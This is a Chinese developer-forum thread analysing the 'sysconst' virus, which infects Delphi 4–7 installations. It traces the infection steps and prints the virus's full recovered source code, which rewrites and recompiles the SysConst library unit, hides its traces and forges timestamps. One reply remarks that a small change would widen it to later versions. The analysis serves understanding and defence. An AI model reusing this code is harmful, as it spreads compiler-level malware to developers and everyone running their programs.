关于sysconst病毒的一点分析
剪刀老大威逼的……本来想用OD+IDA的,后来想想,这里不是汇编板块,为了让大多数同行朋友能够看得懂,运用了一下傻瓜工具,RT。
这个病毒运行原理如何,假设我们一概不知,但我们可以用类似黑盒的方法检测出来,比如用Filemon这类的工具,检测这个EXE到底做了哪些操作,监视记录日志已经上传到CSDN资源上面,大家可以到这个页面下载
http://download.csdn.net/source/1611684
具体来说,这个病毒会做如下事情:
1、运行,读取注册表,找出Delphi的安装目录(这样一来,对2000+就没有威胁了,因为安装信息不会保存在注册表当中)
2、找到安装目录下lib文件夹,查找sysconst.bak文件,如果是感染过的(有这个文件),就没有什么动作,else,恩恩
3、如果未被感染,病毒会读取C:\Program Files\Borland\Delphi7\source\rtl\sys\SysConst.pas(通过注册表获取路径,我的电脑上是这样的),并且在指定偏移位置写入字符串。
4、把那个倒霉蛋sysconst.dcu(我是好人啊……)改成bak后缀名,逐出门墙,欢迎新人到来。
5、调用dcc32编译器,带参编译,生成新的带毒的sysconst.dcu
6、暗度陈仓,还要毁灭证据才行,删除sysconst.pas,避免被发现
7、大功告成,同步一下时间戳,天衣无缝……
以上就是病毒全部的行为,至于病毒写了些什么,不妨接着往下看。
接下来利用DeDeDark,这可是反汇编Delphi的好东西,当然我们不需要反汇编,我们只需要查看一下PE结构即可
这是未被感染的EXE的PE结构
这是被感染后的EXE的PE结构
从这两图当中可以看出,被感染后,PE文件的data段和idata段都被写入了信息,因此占用的空间变大了,不过,究竟写入了什么,还是得求助Winhex这类16进制查看工具。
Winhex载入被感染的EXE和干净EXE相比对,很快就发现此处有问题:
里面写入了一些乱七八糟的字符串,这个相当于作者的开源方法?由于是采用字符数组保存,所以看得到明文。梳理一下还是一段代码:
function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s=#36 then s:=#39; result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile; h:cardinal; f:STARTUPINFO; p:PROCESS_INFORMATION; b:boolean; t1,t2,t3:FILETIME;begin h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0); if h<>DWORD(-1) then begin CloseHandle(h); exit; end; {'I-}assignfile(f1,s); reset(f1); if ioresult<>0 then exit; assignfile(f2,d+'pas'); rewrite(f2); if ioresult<>0 then begin closefile(f1); exit; end; while not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos('implementation',s)<>0 then break; end; for h:= 1 to 1 do writeln(f2,sc[h]); for h:= 1 to 23 do writeln(f2,''''+sc[h],''','); writeln(f2,''''+sc[24]+''');'); for h:= 2 to 24 do writeln(f2,x(sc[h])); closefile(f1); closefile(f2); {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak')); fillchar(f,sizeof(f),0); f.cb := sizeof(f); f.dwFlags := STARTF_USESHOWWINDOW; f.wShowWindow := SW_HIDE; b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p); if b then WaitForSingleObject(p.hProcess,INFINITE); MoveFile(pchar(d+'bak'),pchar(d+'dcu')); DeleteFile(pchar(d+'pas')); h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h); h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0); if h=DWORD(-1) then exit; SetFileTime(h,@t1,@t2,@t3); CloseHandle(h); end; procedure st;var k:HKEY; c:array [1..255] of char; i:cardinal; r:string; v:char;begin for v:='4' to '7' do if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 thenbegin i:=255; if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin r:=''; i:=1; while c<>#0 do begin r:=r+c; inc(i); end; re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" '); end; RegCloseKey(k);end;end;beginst;end.
up
[解决办法]
牛人啊!
[解决办法]
听说这个病毒只感染D4~7版本.
[解决办法]
大力顶一下
[解决办法]
学习
[解决办法]
对病毒一敲不通
[解决办法]
病毒都会,厉害,厉害
[解决办法]
看不太懂,顶!
[解决办法]
bs楼主20分
[解决办法]
学习
[解决办法]
在这里转转一不小心就要有犯罪的想法
[解决办法]
偶是来看高手的
[解决办法]
学习了~~
[解决办法]
顶一个
[解决办法]
顶一个
[解决办法]
学习学习
[解决办法]
强贴留名
[解决办法]
Delphi/C++Builder后续版本中,安装信息在注册表中仍可查询,只不过键值从Borland换成了CodeGear,所以这个恶意程序不感染后者。不过很显然,把这个恶意代码略修改一下就可以了通吃了。
[解决办法]
[解决办法]
不知道中了没
[解决办法]
请问下楼主,要看懂你这篇帖子需要学习什么知识。
比如编译原理。汇编。还有什么呢?
[解决办法]
连16进制都能看得懂太牛逼了吧
[解决办法]
不懂……
[解决办法]
哎呀.真厉害.
[解决办法]
JF
[解决办法]
我顶,这玩意没做啥坏事,善意的玩笑和提醒吧
[解决办法]
哎 病毒害人。。。。
[解决办法]
顶、
http://www.xinkeor.cn/?11604-1.html
[解决办法]
up
[解决办法]
不懂啊
不过LZ分析成这样 应该就是传说中的高手了
[解决办法]
这个看起来像是恶作剧。别的不感染非要去感染库,Delphi程序员独享之病毒。
[解决办法]